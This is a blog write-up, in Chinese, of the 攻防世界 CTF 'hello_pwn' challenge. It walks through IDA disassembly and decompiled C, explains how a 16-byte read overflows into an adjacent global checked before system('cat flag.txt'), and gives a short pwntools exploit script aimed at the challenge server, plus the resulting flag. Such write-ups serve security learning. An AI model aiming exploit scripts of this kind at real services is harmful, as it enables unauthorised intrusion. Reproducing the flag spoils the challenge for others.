【攻防世界】Pwn系列之hello_pwn

【攻防世界】Pwn系列之hello_pwn

运行该程序后可得到以下字符串,但不能对该程序进行输入,输入即退出程序

使用IDA对其进行反汇编,定位start()点

进入main()函数定位点,汇编指令如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
.text:000000000040069B main            proc near               ; DATA XREF: start+1D↑o
.text:000000000040069B ; __unwind {
.text:000000000040069B push rbp
.text:000000000040069C mov rbp, rsp
.text:000000000040069F mov edi, 3Ch ; '<' ; seconds
.text:00000000004006A4 call _alarm
.text:00000000004006A9 mov rax, cs:stdout
.text:00000000004006B0 mov esi, 0 ; buf
.text:00000000004006B5 mov rdi, rax ; stream
.text:00000000004006B8 call _setbuf
.text:00000000004006BD mov edi, offset s ; "~~ welcome to ctf ~~ "
.text:00000000004006C2 call _puts
.text:00000000004006C7 mov edi, offset aLetsGetHellowo ; "lets get helloworld for bof"
.text:00000000004006CC call _puts
.text:00000000004006D1 mov edx, 10h ; nbytes
.text:00000000004006D6 mov esi, offset unk_601068 ; buf
.text:00000000004006DB mov edi, 0 ; fd
.text:00000000004006E0 call _read
.text:00000000004006E5 mov eax, cs:dword_60106C
.text:00000000004006EB cmp eax, 6E756161h
.text:00000000004006F0 jnz short loc_4006FC
.text:00000000004006F2 mov eax, 0
.text:00000000004006F7 call sub_400686
.text:00000000004006FC
.text:00000000004006FC loc_4006FC: ; CODE XREF: main+55↑j
.text:00000000004006FC mov eax, 0
.text:0000000000400701 pop rbp
.text:0000000000400702 retn
.text:0000000000400702 ; } // starts at 40069B
.text:0000000000400702 main endp

对其反编译成c语言,代码如下

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall main(int a1, char **a2, char **a3)
{
alarm(0x3Cu);
setbuf(stdout, 0LL);
puts("~~ welcome to ctf ~~ ");
puts("lets get helloworld for bof");
read(0, &unk_601068, 0x10uLL);
if ( dword_60106C == 1853186401 )
sub_400686();
return 0LL;
}

上面的代码首先使用read()读取内存中的&unk_601068地址,然后对dword_60106c进行判断是否等于“1853186401”,然后调用sub_400686()函数

1
2
3
4
5
__int64 sub_400686()
{
system("cat flag.txt");
return 0LL;
}

sub_400686函数就是读取flag.txt获取flag字符串,所以需使得dword_60106C == 1853186401,即60106地址为1853186401

我们注意到上方有句代码read(0, &unk_601068, 0x10uLL);第一个参数为0,代表标准输入即从终端输入,第三个参数是输入的个数 是0x10,即16个字节,我们先来看601068地址处,这里接受的地址和后面判断的dword_60106C都在一起,所以只需将后面dword_60106C覆盖修改成1853186401即可

1
2
3
4
5
6
.bss:0000000000601068 unk_601068      db    ? ;               ; DATA XREF: main+3B↑o
.bss:0000000000601069 db ? ;
.bss:000000000060106A db ? ;
.bss:000000000060106B db ? ;
.bss:000000000060106C dword_60106C dd ? ; DATA XREF: main+4A↑r
.bss:000000000060106C _bss ends

编写代码连接远程服务器,传入payload将原地址进行覆盖,代码如下

1
2
3
4
5
6
from pwn import *
io = remote("61.147.171.105",49340)
payload = b'b'*(0x6c-0x68)+p64(1853186401) #b'b'*(0x6c-0x68)为对unk_601068进行填充,p64(1853186401)将整数打包成对应的地址
io.recvuntil("lets get helloworld for bof")#相当于触发器,当收到那一字符串时执行操作
io.sendline(payload)#执行操作,发送payload
io.interactive()

运行结果如下:

得到flag为

1
cyberpeace{a53a92da59b4513fe17c50d026202fad}
打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信